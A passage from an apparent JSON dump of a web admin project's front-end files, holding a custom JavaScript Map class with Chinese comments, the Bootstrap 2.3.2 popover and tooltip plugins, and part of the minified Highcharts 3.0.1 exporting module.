-16px;\r\n\twidth:20px;\r\n\theight:20px;\r\n\tcursor:pointer;\r\n }\r\n.WdateDiv #dpControl {\r\n\ttext-align:right;\r\n\tmargin-top:3px;\r\n}\r\n.WdateDiv .dpButton{ \r\n\theight:20px;\r\n\twidth:45px;\r\n\tmargin-top:2px;\r\n\tborder:#38B1B9 1px solid;\r\n\tbackground-color:#CFEBEE;\r\n\tcolor:#08575B;\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/Map.js",
    "content": "/*\r\n * MAP对象，实现MAP功能\r\n *\r\n * 接口：\r\n * size()     获取MAP元素个数\r\n * isEmpty()    判断MAP是否为空\r\n * clear()     删除MAP所有元素\r\n * put(key, value)   向MAP中增加元素（key, value) \r\n * remove(key)    删除指定KEY的元素，成功返回True，失败返回False\r\n * get(key)    获取指定KEY的元素值VALUE，失败返回NULL\r\n * element(index)   获取指定索引的元素（使用element.key，element.value获取KEY和VALUE），失败返回NULL\r\n * containsKey(key)  判断MAP中是否含有指定KEY的元素\r\n * containsValue(value) 判断MAP中是否含有指定VALUE的元素\r\n * values()    获取MAP中所有VALUE的数组（ARRAY）\r\n * keys()     获取MAP中所有KEY的数组（ARRAY）\r\n *\r\n * 例子：\r\n * var map = new Map();\r\n *\r\n * map.put(\"key\", \"value\");\r\n * var val = map.get(\"key\")\r\n * ……\r\n *\r\n */\r\nfunction Map() {\r\n    this.elements = new Array();\r\n\r\n    //获取MAP元素个数\r\n    this.size = function() {\r\n        return this.elements.length;\r\n    };\r\n\r\n    //判断MAP是否为空\r\n    this.isEmpty = function() {\r\n        return (this.elements.length < 1);\r\n    };\r\n\r\n    //删除MAP所有元素\r\n    this.clear = function() {\r\n        this.elements = new Array();\r\n    };\r\n\r\n    //向MAP中增加元素（key, value) \r\n    this.put = function(_key, _value) {\r\n        this.elements.push( {\r\n            key : _key,\r\n            value : _value\r\n        });\r\n    };\r\n\r\n    //删除指定KEY的元素，成功返回True，失败返回False\r\n    this.removeByKey = function(_key) {\r\n        var bln = false;\r\n        try {\r\n            for (i = 0; i < this.elements.length; i++) {\r\n                if (this.elements[i].key == _key) {\r\n                    this.elements.splice(i, 1);\r\n                    return true;\r\n                }\r\n            }\r\n        } catch (e) {\r\n            bln = false;\r\n        }\r\n        return bln;\r\n    };\r\n    \r\n    //删除指定VALUE的元素，成功返回True，失败返回False\r\n    this.removeByValue = function(_value) {//removeByValueAndKey\r\n        var bln = false;\r\n        try {\r\n            for (i = 0; i < this.elements.length; i++) {\r\n                if (this.elements[i].value == _value) {\r\n                    this.elements.splice(i, 1);\r\n                    return true;\r\n                }\r\n            }\r\n        } catch (e) {\r\n            bln = false;\r\n        }\r\n        return bln;\r\n    };\r\n    \r\n    //删除指定VALUE的元素，成功返回True，失败返回False\r\n    this.removeByValueAndKey = function(_key,_value) {\r\n        var bln = false;\r\n        try {\r\n            for (i = 0; i < this.elements.length; i++) {\r\n                if (this.elements[i].value == _value && this.elements[i].key == _key) {\r\n                    this.elements.splice(i, 1);\r\n                    return true;\r\n                }\r\n            }\r\n        } catch (e) {\r\n            bln = false;\r\n        }\r\n        return bln;\r\n    };\r\n\r\n    //获取指定KEY的元素值VALUE，失败返回NULL\r\n    this.get = function(_key) {\r\n        try {\r\n            for (i = 0; i < this.elements.length; i++) {\r\n                if (this.elements[i].key == _key) {\r\n                    return this.elements[i].value;\r\n                }\r\n            }\r\n        } catch (e) {\r\n            return false;\r\n        }\r\n        return false;\r\n    };\r\n\r\n    //获取指定索引的元素（使用element.key，element.value获取KEY和VALUE），失败返回NULL\r\n    this.element = function(_index) {\r\n        if (_index < 0 || _index >= this.elements.length) {\r\n            return null;\r\n        }\r\n        return this.elements[_index];\r\n    };\r\n\r\n    //判断MAP中是否含有指定KEY的元素\r\n    this.containsKey = function(_key) {\r\n        var bln = false;\r\n        try {\r\n            for (i = 0; i < this.elements.length; i++) {\r\n                if (this.elements[i].key == _key) {\r\n                    bln = true;\r\n                }\r\n            }\r\n        } catch (e) {\r\n            bln = false;\r\n        }\r\n        return bln;\r\n    };\r\n\r\n    //判断MAP中是否含有指定VALUE的元素\r\n    this.containsValue = function(_value) {\r\n        var bln = false;\r\n        try {\r\n            for (i = 0; i < this.elements.length; i++) {\r\n                if (this.elements[i].value == _value) {\r\n                    bln = true;\r\n                }\r\n            }\r\n        } catch (e) {\r\n            bln = false;\r\n        }\r\n        return bln;\r\n    };\r\n    \r\n    //判断MAP中是否含有指定VALUE的元素\r\n    this.containsObj = function(_key,_value) {\r\n        var bln = false;\r\n        try {\r\n            for (i = 0; i < this.elements.length; i++) {\r\n                if (this.elements[i].value == _value && this.elements[i].key == _key) {\r\n                    bln = true;\r\n                }\r\n            }\r\n        } catch (e) {\r\n            bln = false;\r\n        }\r\n        return bln;\r\n    };\r\n\r\n    //获取MAP中所有VALUE的数组（ARRAY）\r\n    this.values = function() {\r\n        var arr = new Array();\r\n        for (i = 0; i < this.elements.length; i++) {\r\n            arr.push(this.elements[i].value);\r\n        }\r\n        return arr;\r\n    };\r\n    \r\n    //获取MAP中所有VALUE的数组（ARRAY）\r\n    this.valuesByKey = function(_key) {\r\n        var arr = new Array();\r\n        for (i = 0; i < this.elements.length; i++) {\r\n            if (this.elements[i].key == _key) {\r\n                arr.push(this.elements[i].value);\r\n            }\r\n        }\r\n        return arr;\r\n    };\r\n\r\n    //获取MAP中所有KEY的数组（ARRAY）\r\n    this.keys = function() {\r\n        var arr = new Array();\r\n        for (i = 0; i < this.elements.length; i++) {\r\n            arr.push(this.elements[i].key);\r\n        }\r\n        return arr;\r\n    };\r\n    \r\n    //获取key通过value\r\n    this.keysByValue = function(_value) {\r\n        var arr = new Array();\r\n        for (i = 0; i < this.elements.length; i++) {\r\n            if(_value == this.elements[i].value){\r\n                arr.push(this.elements[i].key);\r\n            }\r\n        }\r\n        return arr;\r\n    };\r\n    \r\n    //获取MAP中所有KEY的数组（ARRAY）\r\n    this.keysRemoveDuplicate = function() {\r\n        var arr = new Array();\r\n        for (i = 0; i < this.elements.length; i++) {\r\n            var flag = true;\r\n            for(var j=0;j<arr.length;j++){\r\n                if(arr[j] == this.elements[i].key){\r\n                    flag = false;\r\n                    break;\r\n                } \r\n            }\r\n            if(flag){\r\n                arr.push(this.elements[i].key);\r\n            }\r\n        }\r\n        return arr;\r\n    };\r\n}"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/bootstrap-popover.js",
    "content": "/* ===========================================================\r\n * bootstrap-popover.js v2.3.2\r\n * http://twbs.github.com/bootstrap/javascript.html#popovers\r\n * ===========================================================\r\n * Copyright 2013 Twitter, Inc.\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n * =========================================================== */\r\n\r\n\r\n!function ($) {\r\n\r\n\t\"use strict\"; // jshint ;_;\r\n\r\n\r\n\t/* POPOVER PUBLIC CLASS DEFINITION\r\n\t * =============================== */\r\n\r\n\tvar Popover = function (element, options) {\r\n\t\tthis.init('popover', element, options)\r\n\t}\r\n\r\n\r\n\t/* NOTE: POPOVER EXTENDS BOOTSTRAP-TOOLTIP.js\r\n\t ========================================== */\r\n\r\n\tPopover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype, {\r\n\r\n\t\tconstructor: Popover\r\n\r\n\t\t, setContent: function () {\r\n\t\t\tvar $tip = this.tip()\r\n\t\t\t\t, title = this.getTitle()\r\n\t\t\t\t, content = this.getContent()\r\n\r\n\t\t\t$tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title)\r\n\t\t\t$tip.find('.popover-content')[this.options.html ? 'html' : 'text'](content)\r\n\r\n\t\t\t$tip.removeClass('fade top bottom left right in')\r\n\t\t}\r\n\r\n\t\t, hasContent: function () {\r\n\t\t\treturn this.getTitle() || this.getContent()\r\n\t\t}\r\n\r\n\t\t, getContent: function () {\r\n\t\t\tvar content\r\n\t\t\t\t, $e = this.$element\r\n\t\t\t\t, o = this.options\r\n\r\n\t\t\tcontent = (typeof o.content == 'function' ? o.content.call($e[0]) :  o.content)\r\n\t\t\t|| $e.attr('data-content')\r\n\r\n\t\t\treturn content\r\n\t\t}\r\n\r\n\t\t, tip: function () {\r\n\t\t\tif (!this.$tip) {\r\n\t\t\t\tthis.$tip = $(this.options.template)\r\n\t\t\t}\r\n\t\t\treturn this.$tip\r\n\t\t}\r\n\r\n\t\t, destroy: function () {\r\n\t\t\tthis.hide().$element.off('.' + this.type).removeData(this.type)\r\n\t\t}\r\n\r\n\t})\r\n\r\n\r\n\t/* POPOVER PLUGIN DEFINITION\r\n\t * ======================= */\r\n\r\n\tvar old = $.fn.popover\r\n\r\n\t$.fn.popover = function (option) {\r\n\t\treturn this.each(function () {\r\n\t\t\tvar $this = $(this)\r\n\t\t\t\t, data = $this.data('popover')\r\n\t\t\t\t, options = typeof option == 'object' && option\r\n\t\t\tif (!data) $this.data('popover', (data = new Popover(this, options)))\r\n\t\t\tif (typeof option == 'string') data[option]()\r\n\t\t})\r\n\t}\r\n\r\n\t$.fn.popover.Constructor = Popover\r\n\r\n\t$.fn.popover.defaults = $.extend({} , $.fn.tooltip.defaults, {\r\n\t\tplacement: 'right'\r\n\t\t, trigger: 'click'\r\n\t\t, content: ''\r\n\t\t, template: '<div class=\"popover\"><div class=\"arrow\"></div><h3 class=\"popover-title\"></h3><div class=\"popover-content\"></div></div>'\r\n\t})\r\n\r\n\r\n\t/* POPOVER NO CONFLICT\r\n\t * =================== */\r\n\r\n\t$.fn.popover.noConflict = function () {\r\n\t\t$.fn.popover = old\r\n\t\treturn this\r\n\t}\r\n\r\n}(window.jQuery);\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/bootstrap-tooltip.js",
    "content": "/* ===========================================================\r\n * bootstrap-tooltip.js v2.3.2\r\n * http://twbs.github.com/bootstrap/javascript.html#tooltips\r\n * Inspired by the original jQuery.tipsy by Jason Frame\r\n * ===========================================================\r\n * Copyright 2013 Twitter, Inc.\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n * ========================================================== */\r\n\r\n\r\n!function ($) {\r\n\r\n\t\"use strict\"; // jshint ;_;\r\n\r\n\r\n\t/* TOOLTIP PUBLIC CLASS DEFINITION\r\n\t * =============================== */\r\n\r\n\tvar Tooltip = function (element, options) {\r\n\t\tthis.init('tooltip', element, options)\r\n\t}\r\n\r\n\tTooltip.prototype = {\r\n\r\n\t\tconstructor: Tooltip\r\n\r\n\t\t, init: function (type, element, options) {\r\n\t\t\tvar eventIn\r\n\t\t\t\t, eventOut\r\n\t\t\t\t, triggers\r\n\t\t\t\t, trigger\r\n\t\t\t\t, i\r\n\r\n\t\t\tthis.type = type\r\n\t\t\tthis.$element = $(element)\r\n\t\t\tthis.options = this.getOptions(options)\r\n\t\t\tthis.enabled = true\r\n\r\n\t\t\ttriggers = this.options.trigger.split(' ')\r\n\r\n\t\t\tfor (i = triggers.length; i--;) {\r\n\t\t\t\ttrigger = triggers[i]\r\n\t\t\t\tif (trigger == 'click') {\r\n\t\t\t\t\tthis.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this))\r\n\t\t\t\t} else if (trigger != 'manual') {\r\n\t\t\t\t\teventIn = trigger == 'hover' ? 'mouseenter' : 'focus'\r\n\t\t\t\t\teventOut = trigger == 'hover' ? 'mouseleave' : 'blur'\r\n\t\t\t\t\tthis.$element.on(eventIn + '.' + this.type, this.options.selector, $.proxy(this.enter, this))\r\n\t\t\t\t\tthis.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this))\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tthis.options.selector ?\r\n\t\t\t\t(this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) :\r\n\t\t\t\tthis.fixTitle()\r\n\t\t}\r\n\r\n\t\t, getOptions: function (options) {\r\n\t\t\toptions = $.extend({}, $.fn[this.type].defaults, this.$element.data(), options)\r\n\r\n\t\t\tif (options.delay && typeof options.delay == 'number') {\r\n\t\t\t\toptions.delay = {\r\n\t\t\t\t\tshow: options.delay\r\n\t\t\t\t\t, hide: options.delay\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\treturn options\r\n\t\t}\r\n\r\n\t\t, enter: function (e) {\r\n\t\t\tvar defaults = $.fn[this.type].defaults\r\n\t\t\t\t, options = {}\r\n\t\t\t\t, self\r\n\r\n\t\t\tthis._options && $.each(this._options, function (key, value) {\r\n\t\t\t\tif (defaults[key] != value) options[key] = value\r\n\t\t\t}, this)\r\n\r\n\t\t\tself = $(e.currentTarget)[this.type](options).data(this.type)\r\n\r\n\t\t\tif (!self.options.delay || !self.options.delay.show) return self.show()\r\n\r\n\t\t\tclearTimeout(this.timeout)\r\n\t\t\tself.hoverState = 'in'\r\n\t\t\tthis.timeout = setTimeout(function() {\r\n\t\t\t\tif (self.hoverState == 'in') self.show()\r\n\t\t\t}, self.options.delay.show)\r\n\t\t}\r\n\r\n\t\t, leave: function (e) {\r\n\t\t\tvar self = $(e.currentTarget)[this.type](this._options).data(this.type)\r\n\r\n\t\t\tif (this.timeout) clearTimeout(this.timeout)\r\n\t\t\tif (!self.options.delay || !self.options.delay.hide) return self.hide()\r\n\r\n\t\t\tself.hoverState = 'out'\r\n\t\t\tthis.timeout = setTimeout(function() {\r\n\t\t\t\tif (self.hoverState == 'out') self.hide()\r\n\t\t\t}, self.options.delay.hide)\r\n\t\t}\r\n\r\n\t\t, show: function () {\r\n\t\t\tvar $tip\r\n\t\t\t\t, pos\r\n\t\t\t\t, actualWidth\r\n\t\t\t\t, actualHeight\r\n\t\t\t\t, placement\r\n\t\t\t\t, tp\r\n\t\t\t\t, e = $.Event('show')\r\n\r\n\t\t\tif (this.hasContent() && this.enabled) {\r\n\t\t\t\tthis.$element.trigger(e)\r\n\t\t\t\tif (e.isDefaultPrevented()) return\r\n\t\t\t\t$tip = this.tip()\r\n\t\t\t\tthis.setContent()\r\n\r\n\t\t\t\tif (this.options.animation) {\r\n\t\t\t\t\t$tip.addClass('fade')\r\n\t\t\t\t}\r\n\r\n\t\t\t\tplacement = typeof this.options.placement == 'function' ?\r\n\t\t\t\t\tthis.options.placement.call(this, $tip[0], this.$element[0]) :\r\n\t\t\t\t\tthis.options.placement\r\n\r\n\t\t\t\t$tip\r\n\t\t\t\t\t.detach()\r\n\t\t\t\t\t.css({ top: 0, left: 0, display: 'block' })\r\n\r\n\t\t\t\tthis.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)\r\n\r\n\t\t\t\tpos = this.getPosition()\r\n\r\n\t\t\t\tactualWidth = $tip[0].offsetWidth\r\n\t\t\t\tactualHeight = $tip[0].offsetHeight\r\n\r\n\t\t\t\tswitch (placement) {\r\n\t\t\t\t\tcase 'bottom':\r\n\t\t\t\t\t\ttp = {top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2}\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tcase 'top':\r\n\t\t\t\t\t\ttp = {top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2}\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tcase 'left':\r\n\t\t\t\t\t\ttp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth}\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tcase 'right':\r\n\t\t\t\t\t\ttp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width}\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t}\r\n\r\n\t\t\t\tthis.applyPlacement(tp, placement)\r\n\t\t\t\tthis.$element.trigger('shown')\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t, applyPlacement: function(offset, placement){\r\n\t\t\tvar $tip = this.tip()\r\n\t\t\t\t, width = $tip[0].offsetWidth\r\n\t\t\t\t, height = $tip[0].offsetHeight\r\n\t\t\t\t, actualWidth\r\n\t\t\t\t, actualHeight\r\n\t\t\t\t, delta\r\n\t\t\t\t, replace\r\n\r\n\t\t\t$tip\r\n\t\t\t\t.offset(offset)\r\n\t\t\t\t.addClass(placement)\r\n\t\t\t\t.addClass('in')\r\n\r\n\t\t\tactualWidth = $tip[0].offsetWidth\r\n\t\t\tactualHeight = $tip[0].offsetHeight\r\n\r\n\t\t\tif (placement == 'top' && actualHeight != height) {\r\n\t\t\t\toffset.top = offset.top + height - actualHeight\r\n\t\t\t\treplace = true\r\n\t\t\t}\r\n\r\n\t\t\tif (placement == 'bottom' || placement == 'top') {\r\n\t\t\t\tdelta = 0\r\n\r\n\t\t\t\tif (offset.left < 0){\r\n\t\t\t\t\tdelta = offset.left * -2\r\n\t\t\t\t\toffset.left = 0\r\n\t\t\t\t\t$tip.offset(offset)\r\n\t\t\t\t\tactualWidth = $tip[0].offsetWidth\r\n\t\t\t\t\tactualHeight = $tip[0].offsetHeight\r\n\t\t\t\t}\r\n\r\n\t\t\t\tthis.replaceArrow(delta - width + actualWidth, actualWidth, 'left')\r\n\t\t\t} else {\r\n\t\t\t\tthis.replaceArrow(actualHeight - height, actualHeight, 'top')\r\n\t\t\t}\r\n\r\n\t\t\tif (replace) $tip.offset(offset)\r\n\t\t}\r\n\r\n\t\t, replaceArrow: function(delta, dimension, position){\r\n\t\t\tthis\r\n\t\t\t\t.arrow()\r\n\t\t\t\t.css(position, delta ? (50 * (1 - delta / dimension) + \"%\") : '')\r\n\t\t}\r\n\r\n\t\t, setContent: function () {\r\n\t\t\tvar $tip = this.tip()\r\n\t\t\t\t, title = this.getTitle()\r\n\r\n\t\t\t$tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title)\r\n\t\t\t$tip.removeClass('fade in top bottom left right')\r\n\t\t}\r\n\r\n\t\t, hide: function () {\r\n\t\t\tvar that = this\r\n\t\t\t\t, $tip = this.tip()\r\n\t\t\t\t, e = $.Event('hide')\r\n\r\n\t\t\tthis.$element.trigger(e)\r\n\t\t\tif (e.isDefaultPrevented()) return\r\n\r\n\t\t\t$tip.removeClass('in')\r\n\r\n\t\t\tfunction removeWithAnimation() {\r\n\t\t\t\tvar timeout = setTimeout(function () {\r\n\t\t\t\t\t$tip.off($.support.transition.end).detach()\r\n\t\t\t\t}, 500)\r\n\r\n\t\t\t\t$tip.one($.support.transition.end, function () {\r\n\t\t\t\t\tclearTimeout(timeout)\r\n\t\t\t\t\t$tip.detach()\r\n\t\t\t\t})\r\n\t\t\t}\r\n\r\n\t\t\t$.support.transition && this.$tip.hasClass('fade') ?\r\n\t\t\t\tremoveWithAnimation() :\r\n\t\t\t\t$tip.detach()\r\n\r\n\t\t\tthis.$element.trigger('hidden')\r\n\r\n\t\t\treturn this\r\n\t\t}\r\n\r\n\t\t, fixTitle: function () {\r\n\t\t\tvar $e = this.$element\r\n\t\t\tif ($e.attr('title') || typeof($e.attr('data-original-title')) != 'string') {\r\n\t\t\t\t$e.attr('data-original-title', $e.attr('title') || '').attr('title', '')\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t, hasContent: function () {\r\n\t\t\treturn this.getTitle()\r\n\t\t}\r\n\r\n\t\t, getPosition: function () {\r\n\t\t\tvar el = this.$element[0]\r\n\t\t\treturn $.extend({}, (typeof el.getBoundingClientRect == 'function') ? el.getBoundingClientRect() : {\r\n\t\t\t\twidth: el.offsetWidth\r\n\t\t\t\t, height: el.offsetHeight\r\n\t\t\t}, this.$element.offset())\r\n\t\t}\r\n\r\n\t\t, getTitle: function () {\r\n\t\t\tvar title\r\n\t\t\t\t, $e = this.$element\r\n\t\t\t\t, o = this.options\r\n\r\n\t\t\ttitle = $e.attr('data-original-title')\r\n\t\t\t|| (typeof o.title == 'function' ? o.title.call($e[0]) :  o.title)\r\n\r\n\t\t\treturn title\r\n\t\t}\r\n\r\n\t\t, tip: function () {\r\n\t\t\treturn this.$tip = this.$tip || $(this.options.template)\r\n\t\t}\r\n\r\n\t\t, arrow: function(){\r\n\t\t\treturn this.$arrow = this.$arrow || this.tip().find(\".tooltip-arrow\")\r\n\t\t}\r\n\r\n\t\t, validate: function () {\r\n\t\t\tif (!this.$element[0].parentNode) {\r\n\t\t\t\tthis.hide()\r\n\t\t\t\tthis.$element = null\r\n\t\t\t\tthis.options = null\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t, enable: function () {\r\n\t\t\tthis.enabled = true\r\n\t\t}\r\n\r\n\t\t, disable: function () {\r\n\t\t\tthis.enabled = false\r\n\t\t}\r\n\r\n\t\t, toggleEnabled: function () {\r\n\t\t\tthis.enabled = !this.enabled\r\n\t\t}\r\n\r\n\t\t, toggle: function (e) {\r\n\t\t\tvar self = e ? $(e.currentTarget)[this.type](this._options).data(this.type) : this\r\n\t\t\tself.tip().hasClass('in') ? self.hide() : self.show()\r\n\t\t}\r\n\r\n\t\t, destroy: function () {\r\n\t\t\tthis.hide().$element.off('.' + this.type).removeData(this.type)\r\n\t\t}\r\n\r\n\t}\r\n\r\n\r\n\t/* TOOLTIP PLUGIN DEFINITION\r\n\t * ========================= */\r\n\r\n\tvar old = $.fn.tooltip\r\n\r\n\t$.fn.tooltip = function ( option ) {\r\n\t\treturn this.each(function () {\r\n\t\t\tvar $this = $(this)\r\n\t\t\t\t, data = $this.data('tooltip')\r\n\t\t\t\t, options = typeof option == 'object' && option\r\n\t\t\tif (!data) $this.data('tooltip', (data = new Tooltip(this, options)))\r\n\t\t\tif (typeof option == 'string') data[option]()\r\n\t\t})\r\n\t}\r\n\r\n\t$.fn.tooltip.Constructor = Tooltip\r\n\r\n\t$.fn.tooltip.defaults = {\r\n\t\tanimation: true\r\n\t\t, placement: 'top'\r\n\t\t, selector: false\r\n\t\t, template: '<div class=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>'\r\n\t\t, trigger: 'hover focus'\r\n\t\t, title: ''\r\n\t\t, delay: 0\r\n\t\t, html: false\r\n\t\t, container: false\r\n\t}\r\n\r\n\r\n\t/* TOOLTIP NO CONFLICT\r\n\t * =================== */\r\n\r\n\t$.fn.tooltip.noConflict = function () {\r\n\t\t$.fn.tooltip = old\r\n\t\treturn this\r\n\t}\r\n\r\n}(window.jQuery);\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/exporting.js",
    "content": "/*\n Highcharts JS v3.0.1 (2013-04-09)\n Exporting module\n\n (c) 2010-2013 Torstein Hønsi\n\n License: www.highcharts.com/license\n*/\n(function(e){var y=e.Chart,v=e.addEvent,B=e.removeEvent,m=e.createElement,j=e.discardElement,t=e.css,k=e.merge,r=e.each,p=e.extend,C=Math.max,i=document,z=window,D=e.isTouchDevice,E=e.Renderer.prototype.symbols,s=e.getOptions(),w;p(s.lang,{printChart:\"Print chart\",downloadPNG:\"Download PNG image\",downloadJPEG:\"Download JPEG image\",downloadPDF:\"Download PDF document\",downloadSVG:\"Download SVG vector image\",contextButtonTitle:\"Chart context menu\"});s.navigation={menuStyle:{border:\"1px solid #A0A0A0\",\nbackground:\"#FFFFFF\",padding:\"5px 0\"},menuItemStyle:{padding:\"0 10px\",background:\"none\",color:\"#303030\",fontSize:D?\"14px\":\"11px\"},menuItemHoverStyle:{background:\"#4572A5\",color:\"#FFFFFF\"},buttonOptions:{symbolFill:\"#E0E0E0\",symbolSize:14,symbolStroke:\"#666\",symbolStrokeWidth:3,symbolX:12.5,symbolY:10.5,align:\"right\",buttonSpacing:3,height:22,theme:{fill:\"white\",stroke:\"none\"},verticalAlign:\"top\",width:24}};s.exporting={type:\"image/png\",url:\"http://export.highcharts.com/\",buttons:{contextButton:{symbol:\"menu\",\n_titleKey:\"contextButtonTitle\",menuItems:[{textKey:\"printChart\",onclick:function(){this.print()}},{separator:!0},{textKey:\"downloadPNG\",onclick:function(){this.exportChart()}},{textKey:\"downloadJPEG\",onclick:function(){this.exportChart({type:\"image/jpeg\"})}},{textKey:\"downloadPDF\",onclick:function(){this.exportChart({type:\"application/pdf\"})}},{textKey:\"downloadSVG\",onclick:function(){this.exportChart({type:\"image/svg+xml\"})}}]}}};e.post=function(a,b){var c,d;d=m(\"form\",{method:\"post\",action:a,enctype:\"multipart/form-data\"},\n{display:\"none\"},i.body);for(c in b)m(\"input\",{type:\"hidden\",name:c,value:b[c]},null,d);d.submit();j(d)};p(y.prototype,{getSVG:function(a){var b=this,c,d,x,g,f=k(b.options,a);if(!i.createElementNS)i.createElementNS=function(a,b){return i.createElement(b)};a=m(\"div\",null,{position:\"absolute\",top:\"-9999em\",width:b.chartWidth+\"px\",height:b.chartHeight+\"px\"},i.body);d=b.renderTo.style.width;g=b.renderTo.style.height;d=f.exporting.sourceWidth||f.chart.width||/px$/.test(d)&&parseInt(d,10)||600;g=f.exporting.sourceHeight||\nf.chart.height||/px$/.test(g)&&parseInt(g,10)||400;p(f.chart,{animation:!1,renderTo:a,forExport:!0,width:d,height:g});f.exporting.enabled=!1;f.chart.plotBackgroundImage=null;f.series=[];r(b.series,function(a){x=k(a.options,{animation:!1,showCheckbox:!1,visible:a.visible});x.isInternal||f.series.push(x)});c=new e.Chart(f,b.callback);r([\"xAxis\",\"yAxis\"],function(a){r(b[a],function(b,d){var f=c[a][d],e=b.getExtremes(),g=e.userMin,e=e.userMax;(g!==void 0||e!==void 0)&&f.setExtremes(g,e,!0,!1)})});d=c.container.innerHTML;\nf=null;c.destroy();j(a);d=d.replace(/zIndex=\"[^\"]+\"/g,\"\").replace(/isShadow=\"[^\"]+\"/g,\"\").replace(/symbolName=\"[^\"]+\"/g,\"\").replace(/jQuery[0-9]+=\"[^\"]+\"/g,\"\").replace(/url\\([^#]+#/g,\"url(#\").replace(/<svg /,'<svg xmlns:xlink=\"http://www.w3.org/1999/xlink\" ').replace(/ href=/g,\" xlink:href=\").replace(/\\n/,\" \").replace(/<\\/svg>.*?$/,\"</svg>\").replace(/&nbsp;/g,\" \").replace(/&shy;/g,\"­\").replace(/<IMG /g,\"<image \").replace(/height=([^\" ]+)/g,'height=\"$1\"').replace(/width=([^\" ]+)/g,'width=\"$1\"').replace(/hc-svg-href=\"([^\"]+)\">/g,\n'xlink:href=\"$1\"/>').replace(/id=([^\" >]+)/g,'id=\"$1\"').replace(/class=([^\" ]+)/g,'class=\"$1\"').replace(/ transform /g,\" \").replace(/:(path|rect)/g,\"$1\").replace(/style=\"([^\"]+)\"/g,function(a){return a.toLowerCase()});d=d.replace(/(url\\(#highcharts-[0-9]+)&quot;/g,\"$1\").replace(/&quot;/g,\"'\");d.match(/ xmlns=\"/g).length===2&&(d=d.replace(/xmlns=\"[^\"]+\"/,\"\"));return d},exportChart:function(a,b){var a=a||{},c=this.options.exporting,c=this.getSVG(k({chart:{borderRadius:0}},c,b,{exporting:{sourceWidth:a.sourceWidth||\nc.sourceWidth,sourceHeight:a.sourceHeight||c.sourceHeight}})),a=k(this.options.exporting,a);e.post(a.url,{filename:a.filename||\"chart\",type:a.type,width:a.width||0,scale:a.scale||2,svg:c})},print:function(){var a=this,b=a.container,c=[],d=b.parentNode,e=i.body,g=e.childNodes;if(!a.isPrinting)a.isPrinting=!0,r(g,function(a,b){if(a.nodeType===1)c[b]=a.style.display,a.style.display=\"none\"}),e.appendChild(b),z.focus(),z.print(),setTimeout(function(){d.appendChild(b);r(g,function(a,b){if(a.nodeType===\n1)a.style.display=c[b]});a.isPrinting=!1},1E3)},contextMenu:function(a,b,c,d,e,g,f){var h=this,q=h.options.navigation,n=q.menuItemStyle,o=h.chartWidth,i=h.chartHeight,A=\"cache-\"+a,l=h[A],k=C(e,g),u,j,s;if(!l)h[A]=l=m(\"div\",{className:\"highcharts-\"+a},{position:\"absolute\",zIndex:1E3,padding:k+\"px\"},h.container),u=m(\"div\",null,p({MozBoxShadow:\"3px 3px 10px #888\",WebkitBoxShadow:\"3px 3px 10px #888\",boxShadow:\"3px 3px 10px #888\"},q.menuStyle),l),j=function(){t(l,{display:\"none\"});f&&f.setState(0)},v(l,\n\"mouseleave\",function(){s=setTimeout(j,500)}),v(l,\"mouseenter\",function(){clearTimeout(s)}),r(b,function(a){if(a){var b=a.separator?m(\"hr\",null,null,u):m(\"div\",{onmouseover:function(){t(this,q.menuItemHoverStyle)},onmouseout:function(){t(this,n)},onclick:function(){j();a.onclick.apply(h,arguments)},innerHTML:a.text||h.options.lang[a.textKey]},p({cursor:\"pointer\"},n),u);h.exportDivElements.push(b)}}),h.exportDivElements.push(u,l),h.exportMenuWidth=l.offsetWidth,h.exportMenuHeight=l.offsetHeight;a=\n{display:\"block\"};c+h.exportMenuWidth>o?a.right=o-c-e-k+\"px\":a.left=c-k+\"px\";d+g+h.exportMenuHeight>i?a.bottom=i-d-k+\"px\":a.top=d+g-k+\"px\";t(l,a)},addButton:function(a){var 